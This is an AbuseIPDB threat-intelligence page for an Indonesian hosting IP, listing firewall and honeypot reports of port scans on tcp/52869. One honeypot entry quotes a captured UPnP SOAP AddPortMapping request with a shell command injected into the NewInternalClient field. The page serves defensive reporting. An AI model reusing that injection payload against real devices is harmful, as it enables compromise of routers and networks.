JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

AbuseIPDB » 103.179.254.247

103.179.254.247 was found in our database!

This IP was reported 397 times. Confidence of Abuse is 100%: ?

100%

ISP	PT Awan Komputasi Teknologi
Usage Type	Data Center/Web Hosting/Transit
ASN	AS136052
Hostname(s)	ip103-179-254-247.cloudhost.web.id
Domain Name	awan.io
Country	🇮🇩 Indonesia
City	Bogor, West Java

IP info including ISP, Usage Type, and Location provided by IPInfo. Updated weekly.

Report 103.179.254.247

Whois 103.179.254.247

IP Abuse Reports for 103.179.254.247:

This IP address has been reported a total of 397 times from 218 distinct sources. 103.179.254.247 was first reported on October 19th 2022, and the most recent report was 38 minutes ago.

Recent Reports: We have received reports of abusive activity from this IP address within the last week. It is potentially still actively engaged in abusive activities.

Reporter	IoA Timestamp (UTC)	Comment	Categories
🇧🇷 diego	2026-07-17 04:49:04 (38 minutes ago)	[rede-164-29] 07/17/2026-01:49:04.450974, 103.179.254.247, Protocol: 6, ET CINS Active Threat Intell ... show more [rede-164-29] 07/17/2026-01:49:04.450974, 103.179.254.247, Protocol: 6, ET CINS Active Threat Intelligence Poor Reputation IP group 150 show less	Hacking
🇳🇱 BIV	2026-07-17 04:03:30 (1 hour ago)	Honeypot multi-source hit. Sources: dshield:fw. Ports: 52869. Automated tiered (T-Pot+DShield).	Port Scan Hacking
🇧🇷 diego	2026-07-17 03:17:42 (2 hours ago)	[rede-164-29] 07/17/2026-00:17:42.399652, 103.179.254.247, Protocol: 6, ET CINS Active Threat Intell ... show more [rede-164-29] 07/17/2026-00:17:42.399652, 103.179.254.247, Protocol: 6, ET CINS Active Threat Intelligence Poor Reputation IP group 150 show less	Hacking
Anonymous	2026-07-17 03:13:32 (2 hours ago)	Repeated unauthorized connection attempts to restricted service observed.	Port Scan Hacking Bad Web Bot Web App Attack
🇫🇷 EDSL	2026-07-17 03:08:04 (2 hours ago)	[SRV-VPN1] Blocked by SysWarden Firewall (Port Scan / Probing)	Port Scan
🇳🇱 COMPLEX	2026-07-17 02:42:32 (2 hours ago)	Unsolicited TCP traffic \| Action: DROP \| Port 52869	Brute-Force
🇩🇪 zupan	2026-07-17 01:42:11 (3 hours ago)	Blocked by UFW on vps [52869/tcp] \| SPT: 54193 \| TTL: 231 \| LEN: 40 \| TOS: 0x00 • Reported by: githu ... show more Blocked by UFW on vps [52869/tcp] \| SPT: 54193 \| TTL: 231 \| LEN: 40 \| TOS: 0x00 • Reported by: github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇩🇪 dispaisyenterprises	2026-07-17 01:27:48 (3 hours ago)	Honeypot [fra-de-honeypot]: HTTP/1.1 request on 52869 POST /picsdesc.xml User-Agent: Go-http-client ... show more Honeypot [fra-de-honeypot]: HTTP/1.1 request on 52869 POST /picsdesc.xml User-Agent: Go-http-client/1.1 Accept-Encoding: gzip POST Data: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47449</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp/; rm -rf t`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>; 52869 [3] TCP Reported by DisPaisy Enterprises (dispaisy.systems) using: https://github.com/sefinek/T-Pot-To-AbuseIPDB show less	Hacking Bad Web Bot
🇩🇪 David Ferneding	2026-07-17 01:23:06 (4 hours ago)	Blocked by UFW (TCP on 52869) Source port: 34122 TTL: 242 Packet length: 40 TOS: 0x00 This report ( ... show more Blocked by UFW (TCP on 52869) Source port: 34122 TTL: 242 Packet length: 40 TOS: 0x00 This report (for 103.179.254.247) was generated by: https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇺🇸 MPL	2026-07-17 00:57:48 (4 hours ago)	tcp/52869 (9 or more attempts)	Port Scan
🇩🇪 Admins@FBN	2026-07-17 00:52:18 (4 hours ago)	FW-PortScan: Traffic Blocked srcport=1256 dstport=52869	Port Scan
🇩🇪 ValtonTahiri	2026-07-17 00:20:11 (5 hours ago)	UFW blocked a suspicious connection attempt to a closed or denied port. This activity is commonly as ... show more UFW blocked a suspicious connection attempt to a closed or denied port. This activity is commonly associated with port scanning, service discovery, or automated internet probing. Technical: source_ip=103.179.254.247; proto=TCP; source_port=46669; target_port=52869; flags=SYN show less	Port Scan
🇦🇹 centurion	2026-07-17 00:03:40 (5 hours ago)	Unauthorized attempt on git [52869/tcp] Source port: 34413 TTL: 242 Packet length: 40 TOS: 0x00 http ... show more Unauthorized attempt on git [52869/tcp] Source port: 34413 TTL: 242 Packet length: 40 TOS: 0x00 https://github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
Anonymous	2026-07-16 23:50:02 (5 hours ago)	Blocked by firewall on hugin [52869/tcp] \| Rule: AbuseIPDB \| SPT: 16348 \| TTL: 233 \| LEN: 40 \| TOS: ... show more Blocked by firewall on hugin [52869/tcp] \| Rule: AbuseIPDB \| SPT: 16348 \| TTL: 233 \| LEN: 40 \| TOS: 0x00 • Reported by: github.com/sefinek/UFW-AbuseIPDB-Reporter show less	Port Scan
🇺🇸 MPL	2026-07-16 23:48:00 (5 hours ago)	tcp/52869 (8 or more attempts)	Port Scan

Showing 1 to 15 of 397 reports

Think this IP has been falsely reported? You may request to have the associated reports reviewed and removed. Request Takedown 🚩

Recently Reported IPs:

🇺🇸 2a04:4e40:e020:0:598:f661:6378:b5ab

🇳🇱 172.235.181.226

🇩🇪 172.111.80.38

🇺🇸 147.185.132.94

🇺🇸 104.194.8.156

🇳🇱 91.92.42.61

🇺🇸 23.95.122.72

🇧🇪 198.235.24.245

🇨🇳 124.228.140.159

🇳🇱 45.148.10.152

🇻🇳 36.50.134.218

🇬🇧 35.203.210.210

🇳🇱 195.178.110.228

🇩🇪 162.158.94.216

🇺🇸 146.190.76.77

🇭🇰 103.24.219.122

🇷🇴 92.118.39.204

🇷🇺 77.66.192.139

🇧🇪 34.78.35.193

🇨🇦 20.220.62.78